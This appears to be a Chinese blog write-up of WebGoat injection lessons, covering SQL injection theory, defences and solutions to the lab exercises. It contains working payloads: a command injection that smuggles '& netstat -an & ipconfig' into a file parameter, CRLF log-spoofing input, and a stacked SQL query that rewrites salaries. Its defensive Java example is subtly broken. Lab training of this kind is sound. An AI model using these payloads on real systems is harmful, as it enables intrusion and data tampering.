webgoat-Injection

注入攻击是WEB安全领域中一种最为常见的攻击方式。在“跨站脚本攻击”一章中曾经提到过,XSS本质上也是一种针对HTML的注入攻击。而在“我的安全世界观”一章中,提出一个安全设计原则----“数据与代码分离”的原则,它可以说是专门为了解决注入攻击而生的。

注入攻击的本质,是把用户输入的数据当做代码来执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。

SQL注入的类型:数字型、字符型

  • 数字型:数字型的注入通常需要做类型转换,强类型的语言对数字型注入具有天然的免疫力。

  • 字符型:拼接SQL。制造闭合SQL语句,注释掉无用部分。 防御SQL注入的方法:

  • 数据类型转换时的类型检查

  • 特殊字符转义(ESAPI)

  • 使用安全函数(http://lib.csdn.net/base/java)中使用预编译,参数化查询条件

  • 使用安全的存储过程

String username = request.getParameter("username");        //获取请求中的变量username的值  
String sql = "SELECT id,username,itemsCon FROM items WHERE id = ? ";        //使用预编译的SQL语句  
PreparedStatement ps = connection.preparedStatement("sql");        //数据库连接创建带有预编译SQL语句的PreparedStatement对象  
ps.setString(1,id);        //参数绑定  
ResultSet rs = ps.executeQuery();        //创建SQL执行的结果集

Webgoat

Command Injection

任意选择一个文件,点击view,页面会提示

ExecResults for 'cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html"'

抓取请求,将HelpFile字段修改为

AccessControlMatrix.help"%20%26%20netstat%20-an%20%26%20ipconfig

注意要使用urlencoder

“ & netstat -an & ipconfig

先用”将前面的命令闭合,最终执行的命令就是:

cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html" & netstat -an & ipconfig

得到如下结果,命令已被执行

Num Injection

在 station 字段中注入特征字符,能组合成新的 SQL 语句。例子:

SELECT * FROM weather_data WHERE station = 12 and 1=2;

Log Spoofing

这种攻击基于在日志文件上欺骗人类的眼睛,攻击者可以很容易地擦除攻击日志。

目标:灰色区域代表Web服务器日志上需要录入的信息;使它看上去像是admin用户成功登录的样子;通过增加脚本提升攻击。

Smith%0d%0aLogin Succeeded for username: admin

String Injection

Modify Data with SQL Injection

表单允许用户通过userid查询自己的工资,这个表单存在SQL注入漏洞。数据表“salaries”。 命令格式:

UPDATE table SET column=value WHERE column=value;

分析:需要更新表 salaries,设置 salary 栏的值。使用如下命令:

UPDATE salaries SET salary=999999 WHERE userid='jsmith'

同时也需要结束前一个查询并且打开前一个引号 使指令有效。 综上于是空白处输入以下指令,点击Go:

whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值